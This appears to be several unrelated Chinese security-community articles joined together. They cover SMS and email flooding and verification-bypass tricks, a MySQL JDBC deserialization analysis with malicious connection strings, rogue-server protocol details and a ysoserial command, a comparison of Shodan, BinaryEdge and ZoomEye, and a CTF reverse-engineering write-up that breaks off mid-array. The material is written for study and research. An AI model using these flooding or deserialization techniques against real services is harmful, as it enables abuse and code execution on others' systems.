发现验证码在前端显示
并且验证码内容可控
收到短信如下：
## 短信轰炸
该短信轰炸有些与以往的不同，该短信轰炸是通过报错信息发现另外一个短信接口，来进行短信轰炸
发现下面登录框，测试SQL注入、越权等漏洞无果后
任意输入账号密码后，提示输入正确的短信验证码，这里并未有输入验证码的地方呀
后面故意输入验证码后，此时看到有获取验证码的地方
经过测试一些常见的漏洞都没有发现，此时错误返回包中的/login/getsmscode?username=引起了我的注意，从字面意思知道为获取验证码的接口
后面跟了个用户名，随意输入提示用户名或密码错误
盲猜了一手为admin，可以看到提示验证码发送成功，没有任何验证那不就造成了无限制短信轰炸和用户名爆破嘛。
常见的短信轰炸有并发短信轰炸，在手机号前面加上+86、空格、&等字符来造成短信轰炸
## 邮箱轰炸
输入邮箱后点击发送验证码
发送成功
然后我再点击发送就会发送失败：
没收到邮箱也证明是失败了。然后只需要改qq.com这个五个任意一个改成大写就可以再次发送短信
更改其他字母大小写组合共有32种情况：
使用burp一跑造成邮箱轰炸，这样反复循环反复循环、造成无限的邮箱轰炸。
## 越权与逻辑漏洞挖掘
越权漏洞的挖掘大部分是通过对比两个用户的请求包以及响应包，来观察不同之处，有的时候替换一下响应包就直接越权，其中特别要关注的是uid，这里在挖掘逻辑漏洞和越权漏洞时建议使用burp中的compare模块进行两个数据包的比对，非常直观
如下案例：
在这个登录框处有修改密码分为三个阶段
输入错误验证码后的响应包
输入正确短信验证码的响应包
通过将错误的返回包替换为错误的返回包成功绕过短信验证
## 弱口令和信息泄露
对于登录框的弱口令和信息泄露挖掘非常简单，个人感觉还是挺靠运气的，有的时候你怎么爆破登不进去，但有的时候你一下就直接发现了，信息泄露观察Js文件中的信息、目录扫描、返回包中错误的信息。这两种类型的漏洞字典也是关键点，字典强大就比较容易挖掘。
这里推荐一个字典下载网站，整理得很全：<https://github.com/TheKingOfDuck/fuzzDicts> | 社区文章 |
# 背景
看了@Tri0mphe大哥对jdbc反序列化的研究后稍微深入一些研究了下，都是个人理解，如果有什么不对的地方，希望各位大哥指出
# 分析
先看 [大哥的分析](https://xz.aliyun.com/t/8159 "大哥的分析")，然后对照源码去分析，很容易得到反序列化的入口点
public Object getObject(int columnIndex) throws SQLException {
Field field = this.columnDefinition.getFields()[columnIndexMinusOne];
switch (field.getMysqlType()) {
case BIT:
if (field.isBinary() || field.isBlob()) {
byte[] data = getBytes(columnIndex);
if (this.connection.getPropertySet().getBooleanProperty(PropertyDefinitions.PNAME_autoDeserialize).getValue()) {
Object obj = data;
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
}
}
}
return obj;
}
return data;
}
..............
通过触发拦截器可触发反序列化，触发拦截器需要执行一条sql查询
在JDBC连接数据库的过程中，会触发一系列查询 如`SET NAMES utf`、`set autocommit=1`等
触发反序列化的链比较简单，但是poc写起来没那么简单，个人认为需要注意的几个点
这里一次读入两个object，所以后面需要发送两个结果集
触发反序列化的数据类型需要为BLOB并且设置autoDeserialize为true
检测了前两个字节，-84，-19就是java 反序列化对象的标志
然后通过@fnmsd大哥的文章可以得到如下的利用链
>
> mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#preProcess/postprocess
>
> com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
> com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap
> com.mysql.cj.jdbc.result.ResultSetImpl#getObject
## fnmsd大哥总结的可用的连接串
ServerStatusDiffInterceptor触发：
8.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
6.x(属性名不同):jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
5.1.11及以上的5.x版本（包名没有了cj）:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
5.1.10及以下的5.1.X版本： 同上，但是需要连接后执行查询。
5.0.x: 还没有ServerStatusDiffInterceptor这个东西detectCustomCollations触发：
5.1.41及以上: 不可用
5.1.29-5.1.40:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true
5.1.28-5.1.19：jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true
5.1.18以下的5.1.x版本： 不可用
5.0.x版本不可用
## 利用链总结
总结以上利用链和大哥们的文章，得到以下几点条件
1.Jdbc连接url可控
2.返回的结果集可控
=> 如何连接url可控，可编写一个恶意mysql服务端返回自定义的结果集，达到反序列化的目的，那么就需要了解mysql的私有协议
# mysql私有协议分析
先看一个 **基本数据包格式**
Type | Name | Description
---|---|---
int<3> | payload_length(包数据长度) | 具体数据包的内容长度，从出去头部四个字节后开始的内容
int<1> | sequence_id(包序列id) | 每个包的序列id，总数据内容大于16MB时需要用，从0开始，依次增加，新的命令执行会重载为0
string | payload(具体数据) | 包中除去头部后的具体数据内容
举个例子，server返回的Response ok 响应包（mysql 为小端序 所以070000表示7）
再来看到最重要的 **结果集数据包格式**
由五个部分组成， **但是**
，经过我反复抓包对比，似乎这个格式在高版本mysql（印象中是5.1.x以上，写了有点久记不清楚了）中是有问题的，所以Tri0mphe大哥在写poc的时候中间加了个EOF包会执行失败（这里看了很多分析都是以这个格式为准，mysql官方手册上也是这样，但在我自己抓包对比的时候只能在结尾看到一个eof包）
正确的包序应该是这样的，如果用新格式发送给老客户端，将永远等不到第二个EOF包
同时，新格式支持用OK包替换EOF包
内容 | 含义
---|---
Result Set Header | 返回数据的列数量
Field | 返回数据的列信息（多个）
Row Data | 行数据（多个）
EOF | 数据结束
继续分析
## Result Set Header 结构比较简单
## Field
1a0000 | 数据长度
---|---
02 | 序号
03646566 | def
00 | schema
01 63 | 表别名 01表示长度
01 63 | 表名
01 63 | 列别名
01 63 | 列名
0c | 标识位通常为12，表示接下去的12个字节是具体的field内容
3f00 | field的编码 这里表示binary
ffff0000 | 表示field的类型
fc | 表示类型为blob
8000 | flags
00 | 精确度 只对DECIMAL和NUMERIC类型有效
0000 | 默认值，该字段用在数据表定义中，普通的查询结果中不会出现
类型对照，fc表示blob，与上面提到的blob类型才能反序列化要对应
0x00 | FIELD_TYPE_DECIMAL
---|---
0x01 | FIELD_TYPE_TINY
0x02 | FIELD_TYPE_SHORT
0x03 | FIELD_TYPE_LONG
0x04 | FIELD_TYPE_FLOAT
0x05 | FIELD_TYPE_DOUBLE
0x06 | FIELD_TYPE_NULL
0x07 | FIELD_TYPE_TIMESTAMP
0x08 | FIELD_TYPE_LONGLONG
0x09 | FIELD_TYPE_INT24
0x0A | FIELD_TYPE_DATE
0x0B | FIELD_TYPE_TIME
0x0C | FIELD_TYPE_DATETIME
0x0D | FIELD_TYPE_YEAR
0x0E | FIELD_TYPE_NEWDATE
0x0F | FIELD_TYPE_VARCHAR (new in MySQL 5.0)
0x10 | FIELD_TYPE_BIT (new in MySQL 5.0)
0xF6 | FIELD_TYPE_NEWDECIMAL (new in MYSQL 5.0)
0xF7 | FIELD_TYPE_ENUM
0xF8 | FIELD_TYPE_SET
0xF9 | FIELD_TYPE_TINY_BLOB
0xFA | FIELD_TYPE_MEDIUM_BLOB
0xFB | FIELD_TYPE_LONG_BLOB
0xFC | FIELD_TYPE_BLOB
0xFD | FIELD_TYPE_VAR_STRING
0xFE | FIELD_TYPE_STRING
0xFF | FIELD_TYPE_GEOMETRY
Tri0mphe大哥分析的flags大于128就是表示0x0080，即是表示是个binary
0x0001 | NOT_NULL_FLAG
---|---
0x0002 | PRI_KEY_FLAG
0x0004 | UNIQUE_KEY_FLAG
0x0008 | MULTIPLE_KEY_FLAG
0x0010 | BLOB_FLAG
0x0020 | UNSIGNED_FLAG
0x0040 | ZEROFILL_FLAG
0x0080 | BINARY_FLAG
0x0100 | ENUM_FLAG
0x0200 | AUTO_INCREMENT_FLAG
0x0400 | TIMESTAMP_FLAG
0x0800 | SET_FLAG
## Row Data
没啥好说的就是payload 数据包总长度 + 包序 + 类型 + payload长度 + payload
## EOF
07000006fe000022000100
## 总结
通过如上表格加上大哥们的分析就很容易写出并且理解poc，在分析mysql私有协议的时候踩了很多坑，对于这种比较生涩的东西，更应该相信最直接能看到的，直接抓个包对照
# 一些小坑
powershell在生成反序列化对象的时候会出现奇怪的问题，解决方法
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 calc | Out-File
-Encoding default payload.ser
写poc最后需要响应一个show warning，否则会报错，这里后面没有深入研究下去了，猜测是返回的结果集不符合客户端解析的规则
# 写在最后
后来因为show
warning的问题和fnmsd大哥交流了下，大哥人真好，解答了不少问题，可以直接用线程的mysql服务端去响应，其实就绕开了mysql私有协议的分析。最后感谢各位大哥的研究 | 社区文章 |
**来源：<https://www.freebuf.com/fevents/206656.html>**
**英文原文：<https://www.secjuice.com/new-kids-on-the-block/>**
## 一、前言
许多IT行业的安全研究人员都会遇到这样的情况，他们需要来自技术层面的OSINT（网络空间搜索引擎）数据[1]。也许他们是想调查目标所遭受的攻击面，进行被动侦察，或者想要测量攻击的整体威胁等级。例如去年出现的
[memcached DDoS 攻击](https://www.cloudflare.com/learning/ddos/memcached-ddos-attack/ "memcached DDoS
攻击")，其放大率为10,000倍甚至更高。Shodan当天发布的第一份报告显示，大约有17,000个易受攻击的服务器在线，这很容易被防火墙列入黑名单。
很长一段时间， [shodan.io](https://shodan.io/ "shodan.io")
一枝独秀。虽然它很棒并且被广泛使用，但我意识到其后台发生了很多过滤。我记得大约两三年前，曝出了一个针对Cisco产品的RCE漏洞——虽然Shodan的日点击量很高，但一周后，搜索结果几乎为空。
随着OSINT变得越来越重要，分析师可利用的搜索引擎工具也更加丰富。这就是本文所探讨的内容：我将把Shodan与过去几年出现的两种新服务[Binaryedge](https://www.binaryedge.io/
"Binaryedge")和[Zoomeye](https://www.zoomeye.org/
"Zoomeye")进行比较，这两项服务似乎已经准备好争夺OSINT工具的王冠。此外，我还将比较它们的功能和搜索结果量（虽然会省去价格部分）。
我从以下几点进行比较：
* 定期的网上扫描功能
* 搜索、过滤和下载结果的Web界面
* 过滤选项
* 将结果集成到第三方工具的API
关于我的比较结果，每个人的体会可能不同，但一切都是我最真实的反馈。
### 1.1 Shodan
[Shodan](https://shodan.io/
"Shodan")在OSINT中几乎人尽皆知。它以[标记和搜索](https://www.shodan.io/explore
"标记和搜索")各种不同设备（包括[网络摄像头](https://www.shodan.io/explore/tag/webcam
"网络摄像头")，[工业控制系统](https://www.shodan.io/explore/category/industrial-control-systems "工业控制系统")和[物联网](https://www.shodan.io/explore/tag/iot
"物联网")设备）的能力而闻名。在那个“天呐！！物联网攻击！我们都死定了”的时代，它是“[物联网搜索引擎](https://www.zdnet.com/article/shodan-the-iot-search-engine-which-shows-us-sleeping-kids-and-how-we-throw-away-our-privacy/
"物联网搜索引擎")”的首选。Shodan制定了全互联网OSINT数据的行业标准，并且你一定能在上面找到[乐趣](https://www.shodan.io/search?query=%22default+password%22+cisco
"乐趣")。
**Shodan的优点：**
* 因 API和许多模块以及语言集成而便于开发；
* 许多东西可集成到其他软件系统中（例如：标签、保存的搜索结果等）。
Shodan的缺点：
* 缺乏对付费客户的人力支持；
* 偶尔的特定搜索结果被刻意屏蔽很烦人；
* 在界面中没有过滤proto:tcp/udp的选项（虽然有一个，但没有记录，至少我没有发现关于它的任何信息）。
## 1.2 BinaryEdge 和 ZoomEye 闪亮登场
[BinaryEdge](https://www.binaryedge.io/
"BinaryEdge")是一家瑞士公司，它进行全网范围内的扫描，并在[博客](https://blog.binaryedge.io/
"博客")上发布大量的结果、发现和报告（主要针对技术用户）。BinaryEdge对开放的[mongodb/redis/memcache-databases](https://blog.binaryedge.io/2015/08/10/data-technologies-and-security-part-1/ "mongodb/redis/memcache-databases")的分析引起了我的注意，我大量引用过这些数据库。他们在开放平台方面迈出了巨大的一步，将其发展为一个具有广泛搜索、过滤和下载功能的OSINT工具，现在似乎能够与Shodan匹敌。
**BinaryEdge 的优点：**
* 更新新功能的速度快；
* 发表技术博客。
BinaryEdge的缺点：
* 当他们将服务运用到其他解决方案中时，例如对开放端口的IP进行批量检查时，API调用的价格十分昂贵。每天用 BinaryEdge 检查50,000个IP肯定不便宜。
[ZoomEye](https://www.zoomeye.org/
"ZoomEye")由中国的[知道创宇404实验室](https://medium.com/@knownsec404team
"知道创宇404实验室")开发，他们还运营着出色的[Seebug漏洞平台](https://www.seebug.org/
"Seebug漏洞平台")，并进行了大量的安全研究。ZoomEye于两年前引起了我的注意，当时我用它来代替Shodan，那时他们的结果并不像Shodan那么详细。然而在今年，出现了许多[有趣的RCE漏洞](https://paper.seebug.org/886/
"有趣的RCE漏洞")时，我再次使用ZoomEye，发现他们已经可以提供相当可靠的搜索结果。
**ZoomEye的优点：**
* 进步迅速，飞跃巨大；
* 项目背后极好的人力支持。
ZoomEye的缺点：
* 需要用手机号完成注册。
## 二、产品功能
纯OSINT任务的基本功能：
搜索结果的截图如下。
Shodan：
BinaryEdge：
ZoomEye：
**每种产品的优点：**
共同点：
* 能够搜索和过滤不仅仅是IP和端口的信息；
* 可以呈现并搜索扫描时收集到的全部标题和信息（如cookie、serverheaders、versions）；
* 下载全部搜索结果。
Shodan：
* 界面简洁，良好的深入挖掘和聚合功能，显示部分标题信息；
* 搜索结果与漏洞的关联良好。
BinaryEdge:
* 在进行大规模研究时，可进行ASN搜索无疑是一个巨大的优势；
* 实用的图像搜索功能。
ZoomEye:
* 历史记录触手可得，且可以限制特定时间的搜索；
* 搜索结果与漏洞的关联十分出色。
一旦你习惯了每个操作界面，就会发现它们的运行非常符合逻辑，并且便于开发。
## 三、搜索结果
现在来看看有趣的部分：我检查了各种目标的搜索结果，比如漏洞相关服务和一般的服务/产品。
需要注意的是：
* 以下数据的有效日期截止到2019-06-09；
* ZoomEye的搜索结果已被过滤，只包含2019-01-01以后的搜索结果。
### 3.1 漏洞相关服务
我挑选了今年曝出的一些不错的RCE漏洞，将它们按日期进行升序排序，链接到了包含漏洞详情的文章，并给出了CVE。
**DATE**
|
**VULN/CVE**
|
**SHODAN**
|
**BINARYEDGE**
|
**ZOOMEYE**
---|---|---|---|---
**2019-03-20** ****
| |
[Confluence RCE](https://paper.seebug.org/886/)
[CVE-2019-3396](https://www.cvedetails.com/cve/CVE-2019-2725/)
---
_[19.000](https://www.shodan.io/search?query=x-confluence)_
| |
_[53.000](https://app.binaryedge.io/services/query?query=x-confluence&page=1)_
---
|
[34.000](https://www.zoomeye.org/searchResult?q=x-confluence%20%2Bafter%3A%222019-01-01%22%20%2Bbefore%3A%222020-01-01%22&t=all)
---
**2019-03-21** ****
|
_[Nexus Repository Manager RCE](https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-2019-02-05)_
_[CVE-2019-7238](https://www.cvedetails.com/cve/CVE-2019-7238/)_
|
_[5.500](https://www.shodan.io/search?query=%22Nexus+Repository+Manager%22+port%3A%228081%22)_
|
_[200](https://app.binaryedge.io/services/query?query=%22Nexus%20Repository%20Manager%22%20port:%228081%22&page=1)_
|
_[9.100](https://www.zoomeye.org/searchResult?q=%22Nexus%20Repository%20Manager%22%20%2Bport:%228081%22%20%2Bafter:%222019-01-01%22%20%2Bbefore:%222020-01-01%22&t=all)_
**2019-04-04** ****
|
_[WebLogic RCE](https://medium.com/@knownsec404team/knownsec-404-team-oracle-weblogic-deserialization-rce-vulnerability-0day-alert-90dd9a79ae93)_
_[CVE-2019-2725](https://www.cvedetails.com/cve/CVE-2019-2725/)_
|
_[2.000](https://www.shodan.io/search?query=weblogic)_
|
_[84.000](https://app.binaryedge.io/services/query?query=weblogic&page=1)_
|
_[40.000](https://www.zoomeye.org/searchResult?q=weblogic%20%2Bafter:%222019-01-01%22%20%2Bbefore:%222020-01-01%22&t=all&t=host)_
**2019-05-09** ****
|
_[Typo3 RCE](https://typo3.org/security/advisory/typo3-core-sa-2019-012/)_
_[CVE-2019-11832](https://www.cvedetails.com/cve/CVE-2019-11832/)_
|
_[8.100](https://www.shodan.io/search?query=fe_typo_user)_
|
_[11.000](https://app.binaryedge.io/services/query?query=fe_typo_user&page=1)_
| |
[15.000](https://www.zoomeye.org/searchResult?q=fe_typo_user%20%2Bafter:%222019-01-01%22%20%2Bbefore:%222020-01-01%22&t=all&t=web)
---
**2019-05-14** ****
| |
[Windows RDP RCE](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)
[CVE-2019-0708](https://www.cvedetails.com/cve/CVE-2019-0708/)
---
|
_[2.600.000
[3]](https://www.shodan.io/search?query=port%3A3389+%22Remote+Desktop+Protocol%22)_
---
_[10.000.000](https://app.binaryedge.io/services/query?query=ms-wbt-server%20port:%223389%22%20protocol:%22tcp%22&page=1)_
|
_[7.000.000](https://www.zoomeye.org/searchResult?q=%2Bservice%3A%22ms-wbt-server%22%20%2Bafter:%222019-01-01%22%20%2Bbefore:%222020-01-01%22%20%2Bservice:%22ms-wbt-server%22%20%2Bport:%223389%22&t=all)_
对比图表显示如下：
结果不言而喻。
### 3.2 常规服务搜索结果
在第二步中，我搜索了一些服务并比较了这些数字。
**SERVICE**
|
**SHODAN**
|
**BINARYEDGE**
|
**ZOOMEYE**
---|---|---|---
**Memcached** ****
|
[34.000](https://www.shodan.io/search?query=product%3A%22Memcached%22)
|
_[19.000](https://app.binaryedge.io/services/query?query=product:%22Memcached%22&page=1)_
|
_[45.000](https://www.zoomeye.org/searchResult?q=port%3A11211%20%2Bafter:%222019-01-01%22%20%2Bbefore:%222020-01-01%22%20%2Bapp:%22Memcached%22&t=all)_
**MongoDB** ****
|
_[64.000](https://www.shodan.io/search?query=product%3A%22mongodb%22)_
|
_[72.000](https://app.binaryedge.io/services/query?query=product:%22mongodb%22&page=1)_
|
_[46.000](https://www.zoomeye.org/searchResult?q=mongodb%20%2Bafter%3A%222019-01-01%22%20%2Bbefore%3A%222020-01-01%22)_
**SNMP** ****
|
[2.100.000](https://www.shodan.io/search?query=port%3A161)
|
_[0](https://app.binaryedge.io/services/query?query=port:161%20%20protocol:%22udp%22&page=1)_
|
[2.200.000](https://www.zoomeye.org/searchResult?q=%2Bafter%3A%222019-01-01%22%20%2Bbefore%3A%222020-01-01%22%20%2Bservice%3A%22snmp%22)
**BGP** ****
|
_[700.000](https://www.shodan.io/search?query=port%3A179+product%3A%22BGP%22)_
|
_[0](https://app.binaryedge.io/services/query?query=port:%22179%22%20protocol:%22udp%22&page=1)_
|
_[700.000](https://www.zoomeye.org/searchResult?q=%2Bafter%3A%222019-01-01%22%20%2Bbefore%3A%222020-01-01%22%20%2Bservice%3A%22bgp%22)_
**Citrix Netscaler** ****
|
_[26](https://www.shodan.io/search?query=%22citrix+netscaler%22)_
|
[72.000](https://app.binaryedge.io/services/query?query=%22Citrix%20NetScaler%20httpd%22&page=1)
|
_[48.000](https://www.zoomeye.org/searchResult?q=%2Bafter%3A%222019-01-01%22%20%2Bbefore%3A%222020-01-01%22%20%2Bapp%3A%22Citrix%20NetScaler%20httpd%22)_
**Cisco Port 22** ****
|
_[370.000](https://www.shodan.io/search?query=cisco+port%3A22)_
|
_[430.000](https://app.binaryedge.io/services/query?query=port:22%20cisco&page=1)_
|
[580.000](https://www.zoomeye.org/searchResult?q=port%3A22%20%2Bcisco%20%2Bafter%3A%222019-01-01%22%20%2Bbefore%3A%222020-01-01%222)
对比图表显示如下：
如你所见：
* BinaryEdge在UDP 服务上有盲点；
* 与每个端口的“原始”结果相比，Shodan仍然提供了良好的结果。
## 四、结论
BinaryEdge和ZoomEye完全可以和Shodan相媲美。这三种服务虽有细微差别，但都为OSINT提供了有价值的扩展。它们之间没有明显的输赢之分，每项服务都有其优缺点，我喜欢市场上存在竞争。
## 五、其他
还有一些服务我没有对它们作比较，原因如下：
* Censys.io：一个不错的服务，但价格太高，限制太多。如果你想以一个合理的价格搜索和下载一个30万的搜索结果时，你不会选择使用它。
* 在对OSINT进行全排名时，Hackertarget.com和Securitytrails.com也是非常有价值的工具，虽然它们提供了某些IP的结果，但是它们不能用于全网范围内的研究。
* * *
[1] – I speak mostly about data gathered by internet-wide scan
[2] – How old observed results might be (based on observation, not
measurements)
[3] The resultset for shodan-RDP is somewhat hidden, the tag for
Terminalserver/RDP-Server is missing in the products-section.
* * * | 社区文章 |
# 2021强网杯easyheap
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 逆向
* 进入prepare时会进行一个权限的检查
倒推回去
'''
*(_QWORD *)s ^ '06210147' |
*(_QWORD *)&s[8] ^ 'c701e631'
||
unsigned __int64)v16 ^ '27c7c475' |
*((_QWORD *)&v16 + 1) ^ '21111647'
'''
a = "06210147"[::-1]
b = "c701e631"[::-1]
c = "27c7c475"[::-1]
d = "21111647"[::-1]
s = a+b+c+d
s = bytes.fromhex(s)
res = ''
for C in s:
res+=chr(C^0x23)
# W31C0M3_to_QWB21
* 后面的逻辑可以概括为
* buf_2是固定的, 因此重点在与逆向XOR_Input()
* XOR_Input()先对前16B进行了异或
* 接着进行字典变换
* 然后交换位置
input = []
for i in range(16):
input.append(i)
input_5 = input[5]
input_1 = input[1];
input_14 = input[14];
input_15 = input[15];
input[5] = input[9];
input_13 = input[13];
input[13] = input_1;
input_10 = input[10];
input[1] = input_5;
input[9] = input_13;
input_2 = input[2];
input[2] = input_10;
input[10] = input_2;
input_6 = input[6];
input[6] = input_14;
input[14] = input_6;
input[15] = input[11];
input[11] = input[7];
input_3 = input[3];
input[3] = input_15;
input[7] = input_3;
# [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]
# [0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 1, 6, 11]
### 逆向中间的Func()
* 后面这一段逻辑太搞人心态了
美化:
char F(char A)
{
if (A & 0x80)
return 2 * A ^ 0x1B;
else
return 2 * A;
}
int Func()
{
char *Input, *Input_;
char Input_5;
char Input_10;
char Input_15;
char v19, v20, v21, v22, v23, v24, v25, v26;
for (; Input_ < Input_ + 16; Input_ += 4)
{
v19 = F(Input_5);
v20 = F(Input[0]);
Input[0] = v20 ^ v19 ^ Input_10 ^ Input_15 ^ Input_5;
Input[1] = (v19 ^ Input[0] ^ Input_10 ^ Input_15) ^ F(Input_10);
v22 = F(Input_10);
v23 = Input_[0] ^ Input_5;
v26 = F(Input_15);
Input[2] = v26 ^ v22 ^ v23 ^ Input_15;
Input[3] = v26 ^ v20 ^ Input_10 ^ v23;
Input_5 = Input_[1];
Input_10 = Input_[2];
Input_15 = Input_[3];
}
}
* 其中看起来比较难逆向的就是那个F函数了, 因为有if的存在, 但是仔细分析下,并不难, 可以从两个角度考虑
* 首先如果F()的逆存在, 那么F()一定是一个单射函数, 并且输入空间很小, 只有256种可能, 因此直接遍历全部的可能输入x, 从而得到对应输出F(x), 直接打表建立一个F(x)->x的映射, 就是F()的逆函数
* 既然有if存在, 那么就可以按照假设检验的思路:
* 假设A&0x80!=0, 那么按照 2 * A ^ 0x1B逆向出A之后, 再去检验得到的结果是不是真的与上0x80不为0
* 假设A&0x80==0, 那么按照 2 * A 逆向出A之后, 再去检验得到的结果是不是真的与上0x80为0
* 打表思路的代码如下, 实际上经过检验, 确实F()确实是一个单射函数
typedef unsigned char uC;
uC revF_tab[0x100];
uC F(uC A)
{
if (A & 0x80)
return (2 * A) ^ 0x1Bu;
else
return (2 * A);
}
void init_revF_tab(void)
{
for (int i = 0; i < 0x100; i++)
revF_tab[F(i)] = i;
}
uC revF(uC n)
{
return revF_tab[n];
}
* Func剩余逻辑就是选择数去异或了, 这一部分很显然也是可逆的
* Func()逻辑结束后会与buf_2进行异或
* 上面整体进行10次变换之后, 对最终结果再进行字典变换, 交换, 异或
* Func加密16B, 4B一组, 循环4次
* 例子
初始条件:
Input_5 = 0x7B
Input_10 = 0xCF
Input_15 = 0xC7
begin:
0x6b23a8f2c7cf7b30
0xd177c55b7c6f2c92
循环1次
0x6b23a8f2719c4be5
0xd177c55b7c6f2c92
循环2次
0x50a1b754719c4be5
0xd177c55b7c6f2c92
循环3次
0x50a1b754719c4be5
0xd177c55b16e40758
循环4次
0x50a1b754719c4be5
0xe618824416e40758
* 发现, 其实初始条件就是Input[1/2/3], 只是被编译器优化了而已, 根据这个例子, 编写出Func()的等价代码, 并美化
#include <stdio.h>
typedef unsigned long long LL;
typedef unsigned char uC;
uC F(uC A)
{
if (A & 0x80)
return (2 * A) ^ 0x1Bu;
else
return (2 * A);
}
void Func(uC *Input)
{
printf("0x%x\n\n", Input[0]);
uC I0, I1, I2, I3;
for (uC *Input_end = Input + 16; Input < Input_end; Input += 4)
{
I0 = F(Input[0]) ^ F(Input[1]) ^ Input[1] ^ Input[2] ^ Input[3];
I1 = Input[0] ^ F(Input[1]) ^ Input[2] ^ F(Input[2]) ^ Input[3];
I2 = Input[0] ^ Input[1] ^ F(Input[2]) ^ F(Input[3]) ^ Input[3];
I3 = F(Input[0]) ^ Input[0] ^ Input[1] ^ Input[2] ^ F(Input[3]);
Input[0] = I0;
Input[1] = I1;
Input[2] = I2;
Input[3] = I3;
}
}
int main(void)
{
LL Input[] = {0x6b23a8f2c7cf7b30, 0xd177c55b7c6f2c92};
Func(Input);
printf("0x%llx 0x%llx\n", Input[0], Input[1]);
}
/*
0x6b23a8f2 c7cf7b30 0xd177c55b7c6f2c92
0x50a1b754 719c4be5 0xe618824416e40758
*/
* 重点在与中间那段xor的代码, 实际上每4B前后无关, 可以单独拿出来求解, 因此现在的问题就是, 已知I0 I1 I2 I3, 已知变换方式, 求解Input[0], Input[1], Input[2] ,Input[3], 也就是求中间xor过程的逆函数
* 一开始向解方程消元, 结果发现初等变换根本解不开
* 换个思路: 用乘法表达if的逻辑,试下用z3解决, 结果成功了, 还是z3 NB
def Solve4B(I0, I1, I2, I3):
A, B, C, D = BitVecs("A B C D", 8)
FA, FB, FC, FD = BitVecs("FA FB FC FD", 8)
s = Solver()
s.add(FA == (A*2)^(((A&0x80)/0x80)*0x1B))
s.add(FB == (B*2)^(((B&0x80)/0x80)*0x1B))
s.add(FC == (C*2)^(((C&0x80)/0x80)*0x1B))
s.add(FD == (D*2)^(((D&0x80)/0x80)*0x1B))
s.add(I0 == FA^FB^B^C^D)
s.add(I1 == A^FB^C^FC^D)
s.add(I2 == A^B^FC^FD^D)
s.add(I3 == FA^A^B^C^FD)
print(s.check())
m = s.model()
return m[A].as_long(), m[B].as_long(), m[C].as_long(), m[D].as_long()
def Solve16B(R):
res = []
for i in range(0, 16, 4):
A, B, C, D = Solve4B(R[i+0], R[i+1], R[i+2], R[i+3])
res.append(A)
res.append(B)
res.append(C)
res.append(D)
return res
### 总体逆向
* 解决了最困难的部分之后就是简单的变幻了, 从后往前慢慢来就好
* 逆向异或
# [96, 123, 202, 5, 142, 12, 228, 233, 192, 209, 162, 65, 59, 165, 155, 151]
# [0x9f, 0xb9, 0x8a, 0x10, 0x53, 0x3b, 0x71, 0x06, 0x68, 0xb2, 0x33, 0xf4, 0x81, 0x1e, 0x58, 0xf5]
Out = [0x9f, 0xb9, 0x8a, 0x10, 0x53, 0x3b, 0x71, 0x06, 0x68, 0xb2, 0x33, 0xf4, 0x81, 0x1e, 0x58, 0xf5]
buf2 = [87, 51, 49, 67, 48, 77, 51, 95, 116, 111, 95, 81, 87, 66, 50, 49,
122, 16, 246, 24, 74, 93, 197, 71, 62, 50, 154, 22, 105, 112, 168,
39, 41, 210, 58, 225, 99, 143, 255, 166, 93, 189, 101, 176, 52, 205,
205, 151, 144, 111, 178, 249, 243, 224, 77, 95, 174, 93, 40, 239, 154,
144, 229, 120, 248, 182, 14, 65, 11, 86, 67, 30, 165, 11, 107, 241,
63, 155, 142, 137, 252, 175, 169, 52, 247, 249, 234, 42, 82, 242, 129,
219, 109, 105, 15, 82, 37, 217, 169, 8, 210, 32, 67, 34, 128, 210, 194,
249, 237, 187, 205, 171, 143, 100, 203, 93, 93, 68, 136, 127, 221, 150,
74, 134, 48, 45, 135, 45, 215, 115, 19, 89, 138, 55, 155, 38, 87, 161,
209, 160, 103, 140, 86, 141, 168, 194, 78, 220, 34, 245, 213, 250, 117,
84, 4, 90, 18, 216, 82, 215, 255, 194, 64, 21, 221, 55, 149, 239, 168,
99, 145, 181, 186, 187, 195, 98]
def revXOR_Buf2(Out, num):
arr = []
for i in range(16):
arr.append(Out[i]^buf2[num*16+i])
return arr
Out = revXOR_Buf2(Out, 10)
* 逆向换位
# [96, 165, 162, 233, 142, 123, 155, 65, 192, 12, 202, 151, 59, 209, 228, 5]
Out = [96, 123, 202, 5, 142, 12, 228, 233, 192, 209, 162, 65, 59, 165, 155, 151]
def RevSwap2(Out):
res = [0]*16
swap_tab = [0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 1, 6, 11]
for i in range(16):
res[swap_tab[i]] = Out[i]
return res
Out = RevSwap2(Out)
* 字母表变换
# [144, 41, 26, 235, 230, 3, 232, 248, 31, 129, 16, 133, 73, 81, 174, 54]
Out = [96, 165, 162, 233, 142, 123, 155, 65, 192, 12, 202, 151, 59, 209, 228, 5]
Alpha = [ 99, 124, 119, 123, 242, 107, 111, 197, 48, 1,
103, 43, 254, 215, 171, 118, 202, 130, 201, 125,
250, 89, 71, 240, 173, 212, 162, 175, 156, 164,
114, 192, 183, 253, 147, 38, 54, 63, 247, 204,
52, 165, 229, 241, 113, 216, 49, 21, 4, 199,
